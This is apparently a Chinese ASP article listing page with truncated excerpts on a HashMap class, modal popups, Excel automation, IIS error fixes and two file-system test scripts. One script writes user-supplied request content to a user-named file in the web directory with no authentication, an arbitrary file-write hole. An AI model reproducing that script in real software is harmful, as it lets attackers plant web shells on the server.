'--------------------------------------------------------------
'ASP版HashMap实现
'该实现存储数据为有序数据,类似Java中的LinkedHashMap
'--------------------------------------------------------------
Class HashMap
dim arr()
dim arr_len
'构造函数
private Sub Class_Initialize
'其中 arr(0,n)为key,arr(1,n)为value
arr_len = 0
redim arr(1,arr_len)
End Sub
'========================
'*put方法 往MAP中插入键值对,如果Key存在则覆盖
'@k 键值key
'@v key对应的value值
'========================
public Sub put(k,v)
dim is_update
is_update = false
arr_len = ubound(arr,2)
for i=0 to arr_len-1
if k=arr(0,i) then
arr(1,i) = v
is_update = true
exit for
end if
next
if not is_update then
& ......
刚刚 看到这么一个问题，这里也做个标记：http://topic.csdn.net/u/20080411/14/7b0f9da5-0413-4149-91e9-72c3df3018a3.html?seed=327251592
第一种方式：
//在Visual Studio 2008中调试通过
testPop_Page.aspx:主页面ASPX代码
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<script type="text/javascript" >
function Pop()
{
var result = showModalDialog('testPop_downs.aspx', 'subpage', 'dialogWidth:800px;dialogHeight:600px;center:yes;help:no;resizable:yes;status:no'); //打开模态子窗体,并获取返回值
document.getElementById("txt_id").value=result.split("'")[0]; //返回值分别赋值给相关文本框
document.getElementById("txt_name").value=result. ......
刚刚 看到这么一个问题，这里也做个标记：http://topic.csdn.net/u/20080411/14/7b0f9da5-0413-4149-91e9-72c3df3018a3.html?seed=327251592
第一种方式：
//在Visual Studio 2008中调试通过
testPop_Page.aspx:主页面ASPX代码
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<script type="text/javascript" >
function Pop()
{
var result = showModalDialog('testPop_downs.aspx', 'subpage', 'dialogWidth:800px;dialogHeight:600px;center:yes;help:no;resizable:yes;status:no'); //打开模态子窗体,并获取返回值
document.getElementById("txt_id").value=result.split("'")[0]; //返回值分别赋值给相关文本框
document.getElementById("txt_name").value=result. ......
1.ASP对Excel的基本操作
(1) 建立Excel对象
创建Excel对象可以通过下面的代码来实现:
<%
set objExcelApp = CreateObject("Excel.Application")
objExcelApp.DisplayAlerts = false ’不显示警告
objExcelApp.Application = false ’不显示界面
%>
(2) 新建Excel文件
新建Excel文件可以通过以下代码来实现:
<%
objExcelApp.WorkBooks.add
set objExcelBook = objExcelApp.ActiveWorkBook
set objExcelSheets = objExcelBook.Worksheets
set objExcelSheet = objExcelBook.Sheets(1)
%>
(3) 读取已有的Excel文件
读取已有的Excel文件可以通过下面的代码来实现
<%
strAddr = Server.MapPath(".")
objExcelApp.WorkBooks.Open(strAddr & "TempletTable.xls")
set objExcelBook = objExcelApp.ActiveWorkBook
set objExcelSheets = objExcelBook.Worksheets
set objExcelSheet = objExcelBook.WorkSheets(1)
%>
(4) 另存Excel文件
另存Excel文件可以通过以下代码来实现
<%
objExcelBook.SaveAs strAddr & "templateTables.xls"
%>
(5) 保� ......
安装过程顺畅，ASP页面在其它环境下能正常调试，文件路径配置正确情况下，不能调试ASP 页面，参考一下内容
第一
修改端口配置 一些优化和防护软件对端口有特殊的“照顾”
第二
常见的“500内部服务器错误”万金油：
1、卸载“internet信息服务(IIS)”，
2、看看事件查看器里有没有关于msdtc的错误，如果有，运行msdtc -uninstall卸载，再运行msdtc -install安装，再运行net start msdtc运行msdtc服务，在事件查看器里应该可以看到msdtc服务已经正常启动了。
6、打开“internet信息服务(IIS)”，“重新启动IIS”。
7、这些装完之后，可能还会看到类似服务器无法加载应用程序 LM/W3SVC/1/ROOT。错误是 '没有注册类别'，这一项在事件查看器里经常可以看到。
cd %windir%\system32\inetsrv （*这里说明一下，“%windir%”是指系统安装目录，一般是“c:\windows”，不要照着输入，如果系统装在C盘，就输入cd c:\windows\system32\inetsrv）
rundll32 wamreg.dll, CreateIISPackage
regsvr32 asptxn.dll
重起机器。
在地址栏里输入“http://localhost”后出 ......
<%
response.Charset = "gb2312"
dim passText
passText = "xxyyaabb" '检验用的密码字符串
sub mygetfolder(ByVal path)
dim fp,fd
On Error Resume Next
set fp = fso.getFolder(path)
if Err.Number > 0 then
response.write(path & " <font color=red>获取目录句柄失败.终止页面:" & Err.description & "</font><br>")
response.end
else
response.write(path & " 获取目录句柄成功!<br>")
end if
On Error GoTo 0 ......
<%
response.Charset = "gb2312"
if request("test") <> "" then
On Error Resume Next
dim fso
set fso = server.createObject("Scripting.FileSystemObject")
if Err.Number > 0 then
response.end
end if
dim ts
set ts = fso.OpenTextFile(server.mappath(".\" & session("testfilesystemobject")), 2, True, false)
if Err.Number > 0 then
response.end
end if
ts.Write(request("test"))
if Err.Number > 0 then
response.end
end if
ts.close()
On Error GoTo 0
end if
if request("testfilesystemobject") = "" then
response.end
else
session("testfilesystemobject") = request("testfilesystemobject")
end if
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHT ......
最新文章 : asp